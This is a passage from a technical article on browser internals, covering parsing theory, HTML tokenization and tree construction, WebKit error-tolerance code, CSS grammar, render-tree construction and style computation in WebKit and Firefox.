<img src='img/Temp2_3560.png' width='101' height='300' />

Figure : from source document to parse trees

The parsing process is iterative. The parser will usually ask the lexer for a
new token and try to match the token with one of the syntax rules. If a rule
is matched, a node corresponding to the token will be added to the parse tree
and the parser will ask for another token.

If no rule matches, the parser will store the token internally, and keep
asking for tokens until a rule matching all the internally stored tokens is
found. If no rule is found then the parser will raise an exception. This means
the document was not valid and contained syntax errors.

#### Translation

Many times the parse tree is not the final product. Parsing is often used in
translation - transforming the input document to another format. An example is
compilation. The compiler that compiles a source code into machine code first
parses it into a parse tree and then translates the tree into a machine code
document.

<img src='img/Temp2_3571.png' width='104' height='400' />

Figure : compilation flow

#### Parsing example

In figure 5 we built a parse tree from a mathematical expression. Let's try to
define a simple mathematical language and see the parse process.

Vocabulary: Our language can include integers, plus signs and minus signs.

Syntax:

  1. The language syntax building blocks are expressions, terms and operations. 
  2. Our language can include any number of expressions.
  3. An expression is defined as a "term" followed by an "operation" followed by another term
  4. An operation is a plus token or a minus token
  5. A term is an integer token or an expression

Let's analyze the input 2 + 3 - 1.  
The first substring that matches a rule is 2, according to rule \#5 it is a
term. The second match is 2 + 3 this matches the third rule - a term followed
by an operation followed by another term. The next match will only be hit at
the end of the input. 2 + 3 - 1 is an expression because we already know that
2+3 is a term so we have a term followed by an operation followed by another
term. 2 + + will not match any rule and therefore is an invalid input.

#### Formal definitions for vocabulary and syntax

Vocabulary is usually expressed by regular expressions.

For example our language will be defined as:

[code]

    INTEGER :0|[1-9][0-9]*
    PLUS : +
    MINUS: -
    
[/code]

As you see, integers are defined by a regular expression.

Syntax is usually defined in a format called BNF. Our language will be defined
as:

[code]

    expression :=  term  operation  term
    operation :=  PLUS | MINUS
    term := INTEGER | expression
    
[/code]

We said that a language can be parsed by regular parsers if its grammar is a
context frees grammar. An intuitive definition of a context free grammar is a
grammar that can be entirely expressed in BNF. For a formal definition see
Wikipedia's article on Context-free grammar

#### Types of parsers

There are two basic types of parsers - top down parsers and bottom up parsers.
An intuitive explanation is that top down parsers see the high level structure
of the syntax and try to match one of them. Bottom up parsers start with the
input and gradually transform it into the syntax rules, starting from the low
level rules until high level rules are met.

Let's see how the two types of parsers will parse our example:

Top down parser will start from the higher level rule - it will identify 2 + 3
as an expression. It will then identify 2 + 3 - 1 as an expression \(the
process of identifying the expression evolves matching the other rules, but
the start point is the highest level rule\).

The bottom up parser will scan the input until a rule is matched it will then
replace the matching input with the rule. This will go on until the end of the
input. The partly matched expression is placed on the parsers stack.

Stack| Input  
---|---  
| 2 + 3 - 1  
term|  \+ 3 - 1  
term operation|  3 - 1  
expression| \- 1  
expression operation| 1  
expression|  
This type of bottom up parser is called a shift-reduce parser, because the
input is shifted to the right \(imagine a pointer pointing first at the input
start and moving to the right\) and is gradually reduced to syntax rules.

#### Generating parsers automatically

There are tools that can generate a parser for you. They are called parser
generators. You feed them with the grammar of your language—its vocabulary and
syntax rules—and they generate a working parser. Creating a parser requires a
deep understanding of parsing and its not easy to create an optimized parser
by hand, so parser generators can be very useful.

Webkit uses two well known parser generators - Flex for creating a lexer and
Bison for creating a parser \(you might run into them with the names Lex and
Yacc\). Flex input is a file containing regular expression definitions of the
tokens. Bison's input is the language syntax rules in BNF format.

### HTML Parser

The job of the HTML parser is to parse the HTML markup into a parse tree.

#### The HTML grammar definition

The vocabulary and syntax of HTML are defined in specifications created by the
W3C organization. The current version is HTML4 and work on HTML5 is in
progress.

#### Not a context free grammar

As we have seen in the parsing introduction, grammar syntax can be defined
formally using formats like BNF.

Unfortunately all the conventional parser topics do not apply to HTML \(I
didn't bring them up just for fun - they will be used in parsing CSS and
JavaScript\). HTML cannot easily be defined by a context free grammar that
parsers need.

There is a formal format for defining HTML — DTD \(Document Type Definition\)
— but it is not a context free grammar.

This appears strange at first sight; HTML is rather close to XML. There are
lots of available XML parsers. There is an XML variation of HTML — XHTML — so
what's the big difference?

The difference is that HTML approach is more "forgiving", it lets you omit
certain tags which are added implicitly, sometimes omit the start or end of
tags etc. On the whole it's a "soft" syntax, as opposed to XML's stiff and
demanding syntax.

Apparently this seemingly small difference makes a world of a difference. On
one hand this is the main reason why HTML is so popular - it forgives your
mistakes and makes life easy for the web author. On the other hand, it makes
it difficult to write a formal grammar. So to summarize - HTML cannot be
parsed easily, not by conventional parsers since its grammar is not a context
free grammar, and not by XML parsers.

#### HTML DTD

HTML definition is in a DTD format. This format is used to define languages of
the SGML family. The format contains definitions for all allowed elements,
their attributes and hierarchy. As we saw earlier, the HTML DTD doesn't form a
context free grammar.

There are a few variations of the DTD. The strict mode conforms solely to the
specifications but other modes contain support for markup used by browsers in
the past. The purpose is backwards compatibility with older content. The
current strict DTD is here: www.w3.org/TR/html4/strict.dtd

#### DOM

The output tree - the "parse tree" is a tree of DOM element and attribute
nodes. DOM is short for Document Object Model. It is the object presentation
of the HTML document and the interface of HTML elements to the outside world
like JavaScript.  
The root of the tree is the "Document" object.

The DOM has an almost one-to-one relation to the markup. For example, this
markup:

[code]

    <html>
      <body>
        <p>
          Hello World
        </p>
        <div> <img src="example.png"/></div>
      </body>
    </html>
    
[/code]

Would be translated to the following DOM tree:

<img src='img/Temp2_3563.png' width='400' height='219' />

Figure : DOM tree of the example markup

Like HTML, DOM is specified by the W3C organization. See www.w3.org/DOM/DOMTR.
It is a generic specification for manipulating documents. A specific module
describes HTML specific elements. The HTML definitions can be found here:
www.w3.org/TR/2003/REC-DOM-Level-2-HTML-20030109/idl-definitions.html.

When I say the tree contains DOM nodes, I mean the tree is constructed of
elements that implement one of the DOM interfaces. Browsers use concrete
implementations that have other attributes used by the browser internally.

#### The parsing algorithm

As we saw in the previous sections, HTML cannot be parsed using the regular
top down or bottom up parsers.

The reasons are:

  1. The forgiving nature of the language.
  2. The fact that browsers have traditional error tolerance to support well known cases of invalid HTML.
  3. The parsing process in reentrant. Usually the source doesn't change during parsing, but in HTML, script tags containing `document.write` can add extra tokens, so the parsing process actually modifies the input.

Unable to use the regular parsing techniques, browsers create custom parsers
for parsing HTML.

The parsing algorithm is described in detail by the HTML5 specification. The
algorithm consists of two stages - tokenization and tree construction.

Tokenization is the lexical analysis, parsing the input into tokens. Among
HTML tokens are start tags, end tags, attribute names and attribute values.

The tokenizer recognizes the token, gives it to the tree constructor, and
consumes the next character for recognizing the next token, and so on until
the end of the input.

<img src='img/Temp2_3576.png' width='308' height='400' />

Figure : HTML parsing flow \(taken from HTML5 spec\)

#### The tokenization algorithm

The algorithm's output is an HTML token. The algorithm is expressed as a state
machine. Each state consumes one or more characters of the input stream and
updates the next state according to those characters. The decision is
influenced by the current tokenization state and by the tree construction
state. This means the same consumed character will yield different results for
the correct next state, depending on the current state. The algorithm is too
complex to describe fully, so let's see a simple example that will help us
understand the principle.

Basic example - tokenizing the following HTML:

[code]

    <html>
      <body>
        Hello world
      </body>
    </html>
    
[/code]

The initial state is the "Data state". When the `<` character is encountered,
the state is changed to **" Tag open state"**. Consuming an `a-z` character
causes creation of a "Start tag token", the state is change to **" Tag name
state"**. We stay in this state until the `>` character is consumed. Each
character is appended to the new token name. In our case the created token is
an `html` token.

When the `>` tag is reached, the current token is emitted and the state
changes back to the **" Data state"**. The `<body>` tag will be treated by the
same steps. So far the `html` and `body` tags were emitted. We are now back at
the **" Data state"**. Consuming the `H` character of `Hello world` will cause
creation and emitting of a character token, this goes on until the `<` of
`</body>` is reached. We will emit a character token for each character of
`Hello world`.

We are now back at the **" Tag open state"**. Consuming the next input `/`
will cause creation of an `end tag token` and a move to the **" Tag name
state"**. Again we stay in this state until we reach `>`.Then the new tag
token will be emitted and we go back to the **" Data state"**. The `</html>`
input will be treated like the previous case.

<img src='img/Temp2_3572.png' width='627' height='387' />

Figure : Tokenizing the example input

#### Tree construction algorithm

When the parser is created the Document object is created. During the tree
construction stage the DOM tree with the Document in its root will be modified
and elements will be added to it. Each node emitted by the tokenizer will be
processed by the tree constructor. For each token the specification defines
which DOM element is relevant to it and will be created for this token. Except
of adding the element to the DOM tree it is also added to a stack of open
elements. This stack is used to correct nesting mismatches and unclosed tags.
The algorithm is also described as a state machine. The states are called
"insertion modes".

Let's see the tree construction process for the example input:

[code]

    <html>
      <body>
        Hello world
      </body>
    </html>
    
[/code]

The input to the tree construction stage is a sequence of tokens from the
tokenization stage The first mode is the **" initial mode"**. Receiving the
html token will cause a move to the **" before html"** mode and a reprocessing
of the token in that mode. This will cause a creation of the HTMLHtmlElement
element and it will be appended to the root Document object.

The state will be changed to **" before head"**. We receive the "body" token.
An HTMLHeadElement will be created implicitly although we don't have a "head"
token and it will be added to the tree.

We now move to the **" in head"** mode and then to **" after head"**. The body
token is reprocessed, an HTMLBodyElement is created and inserted and the mode
is transferred to **" in body"**.

The character tokens of the "Hello world" string are now received. The first
one will cause creation and insertion of a "Text" node and the other
characters will be appended to that node.

The receiving of the body end token will cause a transfer to **" after body"**
mode. We will now receive the html end tag which will move us to **" after
after body"** mode. Receiving the end of file token will end the parsing.

<img src='img/Temp2_3573.png' width='532' height='769' />

Figure : tree construction of example html

#### Actions when the parsing is finished

At this stage the browser will mark the document as interactive and start
parsing scripts that are in "deferred" mode - those who should be executed
after the document is parsed. The document state will be then set to
"complete" and a "load" event will be fired.

You can see the full algorithms for tokenization and tree construction in
HTML5 specification

#### Browsers error tolerance

You never get an "Invalid Syntax" error on an HTML page. Browsers fix any
invalid content and go on.

Take this HTML for example:

[code]

    <html>
      <mytag>
      </mytag>
      <div>
      <p>
      </div>
        Really lousy HTML
      </p>
    </html>
    
[/code]

I must have violated about a million rules \("mytag" is not a standard tag,
wrong nesting of the "p" and "div" elements and more\) but the browser still
shows it correctly and doesn't complain. So a lot of the parser code is fixing
the HTML author mistakes.

The error handling is quite consistent in browsers but amazingly enough it's
not part of HTML current specification. Like bookmarking and back/forward
buttons it's just something that developed in browsers over the years. There
are known invalid HTML constructs that repeat themselves in many sites and the
browsers try to fix them in a conformant way with other browsers.

The HTML5 specification does define some of these requirements. Webkit
summarizes this nicely in the comment at the beginning of the HTML parser
class

> The parser parses tokenized input into the document, building up the
> document tree. If the document is well-formed, parsing it is
> straightforward.
> Unfortunately, we have to handle many HTML documents that are not well-
> formed, so the parser has to be tolerant about errors.
> We have to take care of at least the following error conditions:
>   1. The element being added is explicitly forbidden inside some outer tag.
> In this case we should close all tags up to the one, which forbids the
> element, and add it afterwards.
>   2. We are not allowed to add the element directly. It could be that the
> person writing the document forgot some tag in between \(or that the tag in
> between is optional\). This could be the case with the following tags: HTML
> HEAD BODY TBODY TR TD LI \(did I forget any?\).
>   3. We want to add a block element inside to an inline element. Close all
> inline elements up to the next higher block element.
>   4. If this doesn't help, close elements until we are allowed to add the
> element or ignore the tag.
>

Let's see some Webkit error tolerance examples:

##### </br> instead of <br>

Some sites use </br> instead of <br>. In order to be compatible with IE and
Firefox, Webkit treats this like <br>.  
The code:

[code]

    if (t->isCloseTag(brTag) && m_document->inCompatMode()) {
         reportError(MalformedBRError);
         t->beginTag = true;
    }
    
[/code]

Note - the error handling is internal - it won't be presented to the user.

##### A stray table

A stray table is a table inside another table contents but not inside a table
cell.  
Like this example:

[code]

    <table>
        <table>
            <tr><td>inner table</td></tr>
        </table>
        <tr><td>outer table</td></tr>
    </table>
    
[/code]

Webkit will change the hierarchy to two sibling tables:

[code]

    <table>
        <tr><td>outer table</td></tr>
    </table>
    <table>
        <tr><td>inner table</td></tr>
    </table>
    
[/code]

The code:

[code]

    if (m_inStrayTableContent && localName == tableTag)
            popBlock(tableTag);
    
[/code]

Webkit uses a stack for the current element contents - it will pop the inner
table out of the outer table stack. The tables will now be siblings.

##### Nested form elements

In case the user puts a form inside another form, the second form is ignored.  
The code:

[code]

    if (!m_currentFormElement) {
            m_currentFormElement = new HTMLFormElement(formTag,    m_document);
    }
    
[/code]

##### A too deep tag hierarchy

The comment speaks for itself.  

> www.liceo.edu.mx is an example of a site that achieves a level of nesting of
> about 1500 tags, all from a bunch of <b>s. We will only allow at most 20
> nested tags of the same type before just ignoring them all together.
[code]

    bool HTMLParser::allowNestedRedundantTag(const AtomicString& tagName)
    {
    
    unsigned i = 0;
    for (HTMLStackElem* curr = m_blockStack;
             i < cMaxRedundantTagDepth && curr && curr->tagName == tagName;
         curr = curr->next, i++) { }
    return i != cMaxRedundantTagDepth;
    }
    
[/code]

##### Misplaced html or body end tags

Again - the comment speaks for itself.

> Support for really broken html. We never close the body tag, since some
> stupid web pages close it before the actual end of the doc. Let's rely on
> the end\(\) call to close things.
[code]

    if (t->tagName == htmlTag || t->tagName == bodyTag )
            return;
    
    
[/code]

So web authors beware - unless you want to appear as an example in a Webkit
error tolerance code snippet - write well formed HTML.

### CSS parsing

Remember the parsing concepts in the introduction? Well, unlike HTML, CSS is a
context free grammar and can be parsed using the types of parsers described in
the introduction. In fact the CSS specification defines CSS lexical and syntax
grammar.

Let's see some examples:  
The lexical grammar \(vocabulary\) is defined by regular expressions for each
token:

[code]

    comment   \/\*[^*]*\*+([^/*][^*]*\*+)*\/
    num   [0-9]+|[0-9]*"."[0-9]+
    nonascii  [\200-\377]
    nmstart   [_a-z]|{nonascii}|{escape}
    nmchar    [_a-z0-9-]|{nonascii}|{escape}
    name    {nmchar}+
    ident   {nmstart}{nmchar}*
    
[/code]

"ident" is short for identifier, like a class name. "name" is an element id
\(that is referred by "\#" \)

The syntax grammar is described in BNF.

[code]

    ruleset
      : selector [ ',' S* selector ]*
        '{' S* declaration [ ';' S* declaration ]* '}' S*
      ;
    selector
      : simple_selector [ combinator selector | S+ [ combinator? selector ]? ]? 
      ;
    simple_selector
      : element_name [ HASH | class | attrib | pseudo ]*
      | [ HASH | class | attrib | pseudo ]+
      ;
    class
      : '.' IDENT
      ;
    element_name
      : IDENT | '*'
      ;
    attrib
      : '[' S* IDENT S* [ [ '=' | INCLUDES | DASHMATCH ] S*
        [ IDENT | STRING ] S* ] ']'
      ;
    pseudo
      : ':' [ IDENT | FUNCTION S* [IDENT S*] ')' ]
      ;
    
[/code]

Explanation: A ruleset is this structure:

[code]

    div.error , a.error {
      color:red;
      font-weight:bold;
    }
    
[/code]

div.error and a.error are selectors. The part inside the curly braces contains
the rules that are applied by this ruleset. This structure is defined formally
in this definition:

[code]

    ruleset
      : selector [ ',' S* selector ]*
        '{' S* declaration [ ';' S* declaration ]* '}' S*
      ;
    
[/code]

This means a ruleset is a selector or optionally number of selectors separated
by a coma and spaces \(S stands for white space\). A ruleset contains curly
braces and inside them a declaration or optionally a number of declarations
separated by a semicolon. "declaration" and "selector" will be defined in the
following BNF definitions.

#### Webkit CSS parser

Webkit uses Flex and Bison parser generators to create parsers automatically
from the CSS grammar files. As you recall from the parser introduction, Bison
creates a bottom up shift-reduce parser. Firefox uses a top down parser
written manually. In both cases each CSS file is parsed into a StyleSheet
object, each object contains CSS rules. The CSS rule objects contain selector
and declaration objects and other object corresponding to CSS grammar.

<img src='img/Temp2_3562.png' width='500' height='393' alt='alt' />

Figure : parsing CSS

### The order of processing scripts and style sheets

#### Scripts

The model of the web is synchronous. Authors expect scripts to be parsed and
executed immediately when the parser reaches a <script> tag. The parsing of
the document halts until the script was executed. If the script is external
then the resource must be first fetched from the network - this is also done
synchronously, the parsing halts until the resource is fetched. This was the
model for many years and is also specified in HTML 4 and 5 specifications.
Authors could mark the script as "defer" and thus it will not halt the
document parsing and will execute after it is parsed. HTML5 adds an option to
mark the script as asynchronous so it will be parsed and executed by a
different thread.

#### Speculative parsing

Both Webkit and Firefox do this optimization. While executing scripts, another
thread parses the rest of the document and finds out what other resources need
to be loaded from the network and loads them. This way resources can be loaded
on parallel connections and the overall speed is better. Note - the
speculative parser doesn't modify the DOM tree and leaves that to the main
parser, it only parses references to external resources like external scripts,
style sheets and images.

#### Style sheets

Style sheets on the other hand have a different model. Conceptually it seems
that since style sheets don't change the DOM tree, there is no reason to wait
for them and stop the document parsing. There is an issue, though, of scripts
asking for style information during the document parsing stage. If the style
is not loaded and parsed yet, the script will get wrong answers and apparently
this caused lots of problems. It seems to be an edge case but is quite common.
Firefox blocks all scripts when there is a style sheet that is still being
loaded and parsed. Webkit blocks scripts only when they try to access certain
style properties that may be effected by unloaded style sheets.

### Render tree construction

While the DOM tree is being constructed, the browser constructs another tree,
the render tree. This tree is of visual elements in the order in which they
will be displayed. It is the visual representation of the document. The
purpose of this tree is to enable painting the contents in their correct
order.

Firefox calls the elements in the render tree "frames". Webkit uses the term
renderer or render object.  
A renderer knows how to layout and paint itself and its children.  
Webkits RenderObject class, the base class of the renderers, has the following
definition:

[code]

    class RenderObject{
      virtual void layout();
      virtual void paint(PaintInfo);
      virtual void rect repaintRect();
      Node* node;  //the DOM node
      RenderStyle* style;  // the computed style
      RenderLayer* containgLayer; //the containing z-index layer
    }
    
[/code]

Each renderer represents a rectangular area usually corresponding to the
node's CSS box, as described by the CSS2 spec. It contains geometric
information like width, height and position.  
The box type is affected by the "display" style attribute that is relevant for
the node \(see the style computation section\). Here is Webkit code for
deciding what type of renderer should be created for a DOM node, according to
the display attribute.

[code]

    RenderObject* RenderObject::createObject(Node* node, RenderStyle* style)
    {
        Document* doc = node->document();
        RenderArena* arena = doc->renderArena();
        ...
        RenderObject* o = 0;
    
        switch (style->display()) {
            case NONE:
                break;
            case INLINE:
                o = new (arena) RenderInline(node);
                break;
            case BLOCK:
                o = new (arena) RenderBlock(node);
                break;
            case INLINE_BLOCK:
                o = new (arena) RenderBlock(node);
                break;
            case LIST_ITEM:
                o = new (arena) RenderListItem(node);
                break;
           ...
        }
    
        return o;
    }
    
[/code]

The element type is also considered, for example form controls and tables have
special frames.  
In Webkit if an element wants to create a special renderer it will override
the `createRenderer` method. The renderers points to style objects that
contains the non geometric information.

##### The render tree relation to the DOM tree

The renderers correspond to the DOM elements, but the relation is not one to
one. Non visual DOM elements will not be inserted in the render tree. An
example is the "head" element. Also elements whose display attribute was
assigned to "none" will not appear in the tree \(elements with "hidden"
visibility attribute will appear in the tree\).

There are DOM elements which correspond to several visual objects. These are
usually elements with complex structure that cannot be described by a single
rectangle. For example, the "select" element has 3 renderers - one for the
display area, one for the drop down list box and one for the button. Also when
text is broken into multiple lines because the width is not sufficient for one
line, the new lines will be added as extra renderers.  
Another example of several renderers is broken HTML. According to CSS spec an
inline element must contain either only block element or only inline elements.
In case of mixed content, anonymous block renderers will be created to wrap
the inline elements.

Some render objects correspond to a DOM node but not in the same place in the
tree. Floats and absolutely positioned elements are out of flow, placed in a
different place in the tree, and mapped to the real frame. A placeholder frame
is where they should have been.

<img src='img/Temp2_3564.png' width='731' height='396' />

Figure : The render tree and the corresponding DOM tree \(3.1\). The
"Viewport" is the initial containing block. In Webkit it will be the
"RenderView" object.

##### The flow of constructing the tree

In Firefox, the presentation is registered as a listener for DOM updates. The
presentation delegates frame creation to the `FrameConstructor` and the
constructor resolves style \(see style computation\) and creates a frame.

In Webkit the process of resolving the style and creating a renderer is called
"attachment". Every DOM node has an "attach" method. Attachment is
synchronous, node insertion to the DOM tree calls the new node "attach"
method.

Processing the html and body tags results in the construction of the render
tree root. The root render object corresponds to what the CSS spec calls the
containing block - the top most block that contains all other blocks. Its
dimensions are the viewport - the browser window display area dimensions.
Firefox calls it `ViewPortFrame` and Webkit calls it `RenderView`. This is the
render object that the document point to. The rest of the tree is constructed
as a DOM nodes insertion.

See the CSS2 spec on the processing model.

#### Style Computation

Building the render tree requires calculating the visual properties of each
render object. This is done by calculating the style properties of each
element.

The style includes style sheets of various origins, inline style elements and
visual properties in the HTML \(like the "bgcolor" property\).The later is
translated to matching CSS style properties.

The origins of style sheets are the browser's default style sheets, the style
sheets provided by the page author and user style sheets - these are style
sheets provides by the browser user \(browsers let you define your favorite
style. In Firefox, for instance, this is done by placing a style sheet in the
"Firefox Profile" folder\).

Style computation brings up a few difficulties:

  1. Style data is a very large construct, holding the numerous style properties, this can cause memory problems.
  2. Finding the matching rules for each element can cause performance issues if it's not optimized. Traversing the entire rule list for each element to find matches is a heavy task. Selectors can have complex structure that can cause the matching process to start on a seemingly promising path that is proven to be futile and another path has to be tried. 
For example - this compound selector:

[code]     div div div div{

      ...
    }
    
[/code]

Means the rules apply to a `<div>` who is the descendant of 3 divs. Suppose
you want to check if the rule applies for a given `<div>` element. You choose
a certain path up the tree for checking. You may need to traverse the node
tree up just to find out there are only two divs and the rule does not apply.
You then need to try other paths in the tree.

  3. Applying the rules involves quite complex cascade rules that define the hierarchy of the rules.

Let's see how the browsers face these issues:

##### Sharing style data

Webkit nodes references style objects \(RenderStyle\) These objects can be
shared by nodes in some conditions. The nodes are siblings or cousins and:

  1. The elements must be in the same mouse state \(e.g., one can't be in :hover while the other isn't\)
  2. Neither element should have an id
  3. The tag names should match
  4. The class attributes should match
  5. The set of mapped attributes must be identical
  6. The link states must match
  7. The focus states must match
  8. Neither element should be affected by attribute selectors, where affected is defined as having any selector match that uses an attribute selector in any position within the selector at all
  9. There must be no inline style attribute on the elements
  10. There must be no sibling selectors in use at all. WebCore simply throws a global switch when any sibling selector is encountered and disables style sharing for the entire document when they are present. This includes the + selector and selectors like :first-child and :last-child.

##### Firefox rule tree

Firefox has two extra trees for easier style computation - the rule tree and
style context tree. Webkit also has style objects but they are not stored in a
tree like the style context tree, only the DOM node points to its relevant
style.

<img src='img/Temp2_3575.png' width='640' height='407' />

Figure : Firefox style context tree\(2.2\)

The style contexts contain end values. The values are computed by applying all
the matching rules in the correct order and performing manipulations that
transform them from logical to concrete values. For example - if the logical
value is percentage of the screen it will be calculated and transformed to
absolute units. The rule tree idea is really clever. It enables sharing these
values between nodes to avoid computing them again. This also saves space.

All the matched rules are stored in a tree. The bottom nodes in a path have
higher priority. The tree contains all the paths for rule matches that were
found. Storing the rules is done lazily. The tree isn't calculated at the
beginning for every node, but whenever a node style needs to be computed the
computed paths are added to the tree.

The idea is to see the tree paths as words in a lexicon. Lets say we already
computed this rule tree:

<img src='img/Temp2_3556.png' width='400' height='261' alt='alt' />

Suppose we need to match rules for another element in the content tree, and
find out the matched rules \(in the correct order\) are B - E - I. We already
have this path in the tree because we already computed path A - B - E - I - L.
We will now have less work to do.

Let's see how the tree saves us work.

##### Division into structs

The style contexts are divided into structs. Those structs contain style
information for a certain category like border or color. All the properties in
a struct are either inherited or non inherited. Inherited properties are
properties that unless defined by the element, are inherited from its parent.
Non inherited properties \(called "reset" properties\) use default values if
not defined.

The tree helps us by caching entire structs \(containing the computed end
values\) in the tree. The idea is that if the bottom node didn't supply a
definition for a struct, a cached struct in an upper node can be used.

##### Computing the style contexts using the rule tree

When computing the style context for a certain element, we first compute a
path in the rule tree or use an existing one. We then begin to apply the rules
in the path to fill the structs in our new style context. We start at the
bottom node of the path - the one with the highest precedence \(usually the
most specific selector\) and traverse the tree up until our struct is full. If
there is no specification for the struct in that rule node, then we can
greatly optimize - we go up the tree until we find a node that specifies it
fully and simply point to it - that's the best optimization - the entire
struct is shared. This saves computation of end values and memory.  
If we find partial definitions we go up the tree until the struct is filled.

If we didn't find any definitions for our struct, then in case the struct is
an "inherited" type - we point to the struct of our parent in the **context
tree** , in this case we also succeeded in sharing structs. If its a reset
struct then default values will be used.

If the most specific node does add values then we need to do some extra
calculations for transforming it to actual values. We then cache the result in
the tree node so it can be used by children.

In case an element has a sibling or a brother that points to the same tree
node then the **entire style context** can be shared between them.

Lets see an example: Suppose we have this HTML

[code]

    <html>
      <body>
        <div class="err" id="div1">
          <p>
            this is a <span class="big"> big error </span>
            this is also a
            <span class="big"> very  big  error</span> error
          </p>
        </div>
        <div class="err" id="div2">another error</div>
      </body>
    </html>
    
[/code]

And the following rules:

[code]

    div {margin:5px;color:black}
    .err {color:red}
    .big {margin-top:3px}
    div span {margin-bottom:4px}
    #div1 {color:blue}
    #div 2 {color:green}
    
[/code]

To simplify things let's say we need to fill out only two structs - the color
struct and the margin struct. The color struct contains only one member - the
color The margin struct contains the four sides.  
The resulting rule tree will look like this \(the nodes are marked with the
node name : the \# of rule they point at\):

<img src='img/Temp2_3578.png' width='500' height='294' />

Figure : The rule tree

  
The context tree will look like this \(node name : rule node they point to\):

<img src='img/Temp2_3567.png' width='400' height='305' />

Figure : The context tree

Suppose we parse the HTML and get to the second <div> tag. We need to create a
style context for this node and fill its style structs.  
We will match the rules and discover that the matching rules for the <div> are
1 ,2 and 6. This means there is already an existing path in the tree that our
element can use and we just need to add another node to it for rule 6 \(node F
in the rule tree\).  
We will create a style context and put it in the context tree. The new style
context will point to node F in the rule tree.

We now need to fill the style structs. We will begin by filling out the margin
struct. Since the last rule node\(F\) doesn't add to the margin struct, we can
go up the tree until we find a cached struct computed in a previous node
insertion and use it. We will find it on node B, which is the uppermost node
that specified margin rules.

We do have a definition for the color struct, so we can't use a cached struct.
Since color has one attribute we don't need to go up the tree to fill other
attributes. We will compute the end value \(convert string to RGB etc\) and
cache the computed struct on this node.

The work on the second <span> element is even easier. We will match the rules
and come to the conclusion that it points to rule G, like the previous span.
Since we have siblings that point to the same node, we can share the entire
style context and just point to the context of the previous span.

For structs that contain rules that are inherited from the parent, caching is
done on the context tree \(the color property is actually inherited, but
Firefox treats it as reset and caches it on the rule tree\).  
For instance if we added rules for fonts in a paragraph:

[code]

    p {font-family:Verdana;font size:10px;font-weight:bold} 
    
[/code]

Then the div element, which is a child of the paragraph in the context tree,
could have shared the same font struct as his parent. This is if no font rules
where specified for the "div".

In Webkit, who does not have a rule tree, the matched declarations are
traversed 4 times. First non important high priority properties \(properties
that should be applied first because others depend on them - like display\)
are applied, than high priority important, then normal priority non important,
then normal priority important rules. This means that properties that appear
multiple times will be resolved according to the correct cascade order. The
last wins.  

So to summarize - sharing the style objects \(entirely or some of the structs
inside them\) solves issues 1 and 3. Firefox rule tree also helps in applying
the properties in the correct order.

##### Manipulating the rules for an easy match

There are several sources for style rules:

  * CSS rules, either in external style sheets or in style elements. 
[code]    p {color:blue}

    
[/code]

  * Inline style attributes like 
[code]    <p style="color:blue" />

    
[/code]

  * HTML visual attributes \(which are mapped to relevant style rules\) 
[code]    <p bgcolor="blue" />

    
[/code]

The last two are easily matched to the element since he owns the style
attributes and HTML attributes can be mapped using the element as the key.

As noted previously in issue \#2, the CSS rule matching can be trickier. To
solve the difficulty, the rules are manipulated for easier access.

After parsing the style sheet, the rules are added one of several hash maps,
according to the selector. There are maps by id, by class name, by tag name
and a general map for anything that doesn't fit into those categories. If the
selector is an id, the rule will be added to the id map, if it's a class it
will be added to the class map etc.  
This manipulation makes it much easier to match rules. There is no need to
look in every declaration - we can extract the relevant rules for an element
from the maps. This optimization eliminates 95+% of the rules, so that they
need not even be considered during the matching process\(4.1\).

Let's see for example the following style rules:

[code]

    p.error {color:red}
    #messageDiv {height:50px}
    div {margin:5px}
    
[/code]

The first rule will be inserted into the class map. The second into the id map
and the third into the tag map.  
For the following HTML fragment;

[code]

    <p class="error">an error occurred </p>
    <div id=" messageDiv">this is a message</div>
    
[/code]

We will first try to find rules for the p element. The class map will contain
an "error" key under which the rule for "p.error" is found. The div element
will have relevant rules in the id map \(the key is the id\) and the tag map.
So the only work left is finding out which of the rules that were extracted by
the keys really match.  
For example if the rule for the div was

[code]

    table div {margin:5px}
    
[/code]

it will still be extracted from the tag map, because the key is the rightmost
selector, but it would not match our div element, who does not have a table
ancestor.

Both Webkit and Firefox do this manipulation.

##### Applying the rules in the correct cascade order

The style object has properties corresponding to every visual attribute \(all
css attributes but more generic\). If the property is not defined by any of
the matched rules - then some properties can be inherited by the parent
element style object. Other properties have default values.

The problem begins when there is more than one definition - here comes the
cascade order to solve the issue.

##### Style sheet cascade order

A declaration for a style property can appear in several style sheets, and
several times inside a style sheet. This means the order of applying the rules
is very important. This is called the "cascade" order. According to CSS2 spec,
the cascade order is \(from low to high\):

  1. Browser declarations
  2. User normal declarations
  3. Author normal declarations
  4. Author important declarations
  5. User important declarations

The browser declarations are least important and the user overrides the author
only if the declaration was marked as important. Declarations with the same
order will be sorted by specificity and then the order they are specified. The
HTML visual attributes are translated to matching CSS declarations . They are
treated as author rules with low priority.

##### Specificity

The selector specificity is defined by the CSS2 specification as follows:

  * count 1 if the declaration is from is a 'style' attribute rather than a rule with a selector, 0 otherwise \(= a\)
  * count the number of ID attributes in the selector \(= b\) 
  * count the number of other attributes and pseudo-classes in the selector \(= c\) 
  * count the number of element names and pseudo-elements in the selector \(= d\) 

Concatenating the four numbers a-b-c-d \(in a number system with a large
base\) gives the specificity.

The number base you need to use is defined by the highest count you have in
one of the categories.  
For example, if a=14 you can use hexadecimal base. In the unlikely case where
a=17 you will need a 17 digits number base. The later situation can happen
with a selector like this: html body div div p ... \(17 tags in your
selector.. not very likely\).

Some examples:

[code]

     *             {}  /* a=0 b=0 c=0 d=0 -> specificity = 0,0,0,0 */
     li            {}  /* a=0 b=0 c=0 d=1 -> specificity = 0,0,0,1 */
     li:first-line {}  /* a=0 b=0 c=0 d=2 -> specificity = 0,0,0,2 */
     ul li         {}  /* a=0 b=0 c=0 d=2 -> specificity = 0,0,0,2 */
     ul ol+li      {}  /* a=0 b=0 c=0 d=3 -> specificity = 0,0,0,3 */
     h1 + *[rel=up]{}  /* a=0 b=0 c=1 d=1 -> specificity = 0,0,1,1 */
     ul ol li.red  {}  /* a=0 b=0 c=1 d=3 -> specificity = 0,0,1,3 */
     li.red.level  {}  /* a=0 b=0 c=2 d=1 -> specificity = 0,0,2,1 */
     #x34y         {}  /* a=0 b=1 c=0 d=0 -> specificity = 0,1,0,0 */
     style=""          /* a=1 b=0 c=0 d=0 -> specificity = 1,0,0,0 */
    
[/code]

##### Sorting the rules

After the rules are matched, they are sorted according to the cascade rules.
Webkit uses bubble sort for small lists and merge sort for big ones. Webkit
implements sorting by overriding the ">" operator for the rules:

[code]

    static bool operator >(CSSRuleData& r1, CSSRuleData& r2)
    {
